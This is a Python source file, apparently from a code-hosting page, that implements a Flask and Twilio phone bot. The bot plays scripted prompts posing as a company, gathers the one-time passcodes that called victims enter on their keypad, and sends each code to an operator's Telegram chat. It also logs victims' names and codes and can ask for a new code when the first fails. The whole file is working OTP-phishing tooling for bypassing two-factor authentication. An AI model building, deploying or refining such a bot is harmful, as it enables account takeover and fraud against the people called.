-
Notifications
You must be signed in to change notification settings - Fork 0
/
voice_resp.py
151 lines (113 loc) · 5.13 KB
/
voice_resp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from flask import Flask, request, jsonify
from twilio.twiml.voice_response import VoiceResponse, Gather, Play
import requests
import datetime
import pytz
import os
app = Flask(__name__)
TELEGRAM_BOT_TOKEN = "YOUR_BOT_TOKEN"
TELEGRAM_API_BASE = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}"
def send_telegram_message(chat_id, text):
"""helper func"""
try:
url = f"{TELEGRAM_API_BASE}/sendMessage"
payload = {"chat_id": chat_id, "text": text}
response = requests.get(url, params=payload)
return response.status_code == 200
except Exception as e:
app.logger.error(f"Error sending message to Telegram: {e}")
return False
def get_file_path(user_id, filename):
"""Ensure the directory exists and create a dynamic path"""
base_path = os.path.join(os.path.dirname(__file__), "conf", user_id)
os.makedirs(base_path, exist_ok=True)
return os.path.join(base_path, filename)
@app.route("/voice", methods=["POST"])
def voice():
chat_id = request.args.get("chat_id", default="*", type=str)
user_id = request.args.get("user_id", default="*", type=str)
answered_by = request.values.get("AnsweredBy", "")
resp = VoiceResponse()
if answered_by.startswith("machine_end"):
send_telegram_message(chat_id, "Call Status : Voice Mail")
resp.say("We'll call you back, thanks")
resp.hangup()
return str(resp)
gather = Gather(num_digits=1, action=f"/gather?chat_id={chat_id}&user_id={user_id}", timeout=120)
gather.pause(length=1)
gather.play(get_file_path(user_id, "checkifhuman.mp3"))
resp.append(gather)
return str(resp)
@app.route("/gather", methods=["POST"])
def gather():
chat_id = request.args.get("chat_id", default="*", type=str)
user_id = request.args.get("user_id", default="*", type=str)
resp = VoiceResponse()
if "Digits" in request.values:
choice = request.values["Digits"]
if choice == "1":
resp.play(get_file_path(user_id, "explain.mp3"))
resp.pause(length=2)
num_digits = int(open(get_file_path(user_id, "Digits.txt"), "r").read().strip())
gatherotp = Gather(num_digits=num_digits, action=f"/gatherotp?chat_id={chat_id}&user_id={user_id}", timeout=120)
gatherotp.play(get_file_path(user_id, "askdigits.mp3"))
resp.append(gatherotp)
else:
resp.play(get_file_path("sounds", "errorpick.mp3"))
resp.redirect(f"/voice?chat_id={chat_id}&user_id={user_id}")
else:
resp.redirect("/voice")
return str(resp)
@app.route("/gatherotp", methods=["POST"])
def gatherotp():
chat_id = request.args.get("chat_id", default="*", type=str)
user_id = request.args.get("user_id", default="*", type=str)
resp = VoiceResponse()
if "Digits" in request.values:
otp = request.values["Digits"]
send_telegram_message(chat_id, f"OTP : {otp}")
with open("otp.txt", "w", encoding="utf-8") as otp_file:
otp_file.write(otp)
with open("logotp.txt", "a", encoding="utf-8") as log_file:
timestamp = datetime.datetime.now(pytz.timezone("Asia/Jakarta"))
name = open(get_file_path(user_id, "Name.txt"), "r").read().strip()
company = open(get_file_path(user_id, "Company Name.txt"), "r").read().strip()
log_file.write(f"Tanggal : {timestamp}\nNama : {name}\nCompany : {company}\nOTP : {otp}\n\n")
resp.play(get_file_path("sounds", "thankyou.mp3"))
else:
resp.say("Sorry, I don't understand that choice.")
resp.redirect("/gather")
return str(resp)
@app.route("/denyotp", methods=["POST"])
def denyotp():
chat_id = request.args.get("chat_id", default="*", type=str)
user_id = request.args.get("user_id", default="*", type=str)
send_telegram_message(chat_id, "Resend Code")
resp = VoiceResponse()
resp.play(get_file_path("sounds", "wrongcode.mp3"))
resp.pause(length=1)
num_digits = int(open(get_file_path(user_id, "Digits.txt"), "r").read().strip())
gatherotp = Gather(num_digits=num_digits, action=f"/gathernewotp?chat_id={chat_id}&user_id={user_id}", timeout=120)
gatherotp.say(f"Please enter the {num_digits} digits code.", voice="man")
resp.append(gatherotp)
return str(resp)
@app.route("/gathernewotp", methods=["POST"])
def gathernewotp():
chat_id = request.args.get("chat_id", default="*", type=str)
user_id = request.args.get("user_id", default="*", type=str)
resp = VoiceResponse()
if "Digits" in request.values:
otp = request.values["Digits"]
send_telegram_message(chat_id, f"OTP : {otp}")
resp.play(get_file_path("sounds", "thankyou.mp3"))
else:
resp.say("Sorry, I don't understand that choice.")
resp.redirect("/gather")
return str(resp)
@app.route("/acceptotp", methods=["POST"])
def acceptotp():
resp = VoiceResponse()
resp.play(get_file_path("sounds", "thankyou.mp3"))
return str(resp)
if __name__ == "__main__":
app.run(debug=True)